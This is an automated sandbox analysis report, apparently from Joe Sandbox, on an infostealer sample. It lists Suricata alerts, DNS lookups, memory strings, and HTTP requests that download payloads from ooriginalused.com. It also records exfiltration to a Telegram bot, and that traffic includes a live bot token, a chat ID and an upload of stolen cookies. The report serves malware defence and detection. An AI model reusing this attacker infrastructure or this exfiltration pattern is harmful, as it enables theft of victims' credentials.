Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49698 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49695 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49697 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49705 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49694 -> 185.159.153.17:443

Source: global traffic	HTTP traffic detected: GET /lord/Reimagine.prm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: ooriginalused.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /know/HFJSDskkfpVJaPaR167.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: ooriginalused.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49696 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49699 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49701 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /lord/Reimagine.prm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: ooriginalused.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /know/HFJSDskkfpVJaPaR167.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: ooriginalused.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:305090%0D%0ADate%20and%20Time:%2014/03/2025%20/%2008:42:33%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20305090%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ooriginalused.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7328026738:AAH1IHU2hS9jcv-fByxTl7eMvqtctOYjBF8/sendDocument?chat_id=1503224244&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd636367b0dda3Host: api.telegram.orgContent-Length: 742

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 12 Mar 2025 18:16:41 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: msiexec.exe, 0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/gsr1.crl0
Source: msiexec.exe, 0000000F.00000002.2232805320.0000000022BA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/r4.crl0
Source: msiexec.exe, 0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/we1/K0UVAKe5N94.crl0
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: svchost.exe, 00000008.00000002.2217715412.0000025D1C400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: msiexec.exe, 0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/gsr1.crt0-
Source: msiexec.exe, 0000000F.00000002.2232805320.0000000022BA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r4.crt0
Source: msiexec.exe, 0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/we1.crt05
Source: powershell.exe, 00000003.00000002.1243751229.0000027592CBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1602163136.0000000005315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: msiexec.exe, 0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/8CI0%
Source: powershell.exe, 00000006.00000002.1581497755.0000000004408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1221528154.0000027582C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1581497755.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000006.00000002.1581497755.0000000004408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000003.00000002.1221528154.0000027582C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.1581497755.00000000042B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBLr
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:305090%0D%0ADate%20a
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7328026738:AAH1IHU2hS9jcv-fByxTl7eMvqtctOYjBF8/sendDocument?chat_id=1503
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020C5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020C5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enT
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBLr
Source: powershell.exe, 00000006.00000002.1602163136.0000000005315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1602163136.0000000005315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1602163136.0000000005315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000008.00000003.1208730043.0000025D1C220000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000006.00000002.1581497755.0000000004408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1243751229.0000027592CBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1602163136.0000000005315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.c
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.co
Source: powershell.exe, 00000003.00000002.1221528154.0000027582E77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2215442340.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/
Source: msiexec.exe, 0000000F.00000002.2229758829.00000000206F0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2215442340.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/know/HFJSDskkfpVJaPaR167.bin
Source: msiexec.exe, 0000000F.00000002.2215442340.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/know/HFJSDskkfpVJaPaR167.binM
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/l
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lo
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lor
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/R
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Re
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Rei
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reim
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reima
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimag
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagi
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagin
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagine
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagine.
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagine.p
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagine.pr
Source: powershell.exe, 00000003.00000002.1221528154.000002758401C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagine.prm
Source: powershell.exe, 00000003.00000002.1221528154.0000027582E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagine.prmP
Source: powershell.exe, 00000006.00000002.1581497755.0000000004408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/lord/Reimagine.prmXR
Source: msiexec.exe, 0000000F.00000002.2215442340.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ooriginalused.com/u
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020BA2000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020B1B000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020BC7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020B45000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020BA2000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020BC7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20w
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021DA9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2231687534.0000000021DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/T
Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBLr

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 185.159.153.17:443 -> 192.168.2.8:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.159.153.17:443 -> 192.168.2.8:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49712 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_2032.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2032, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

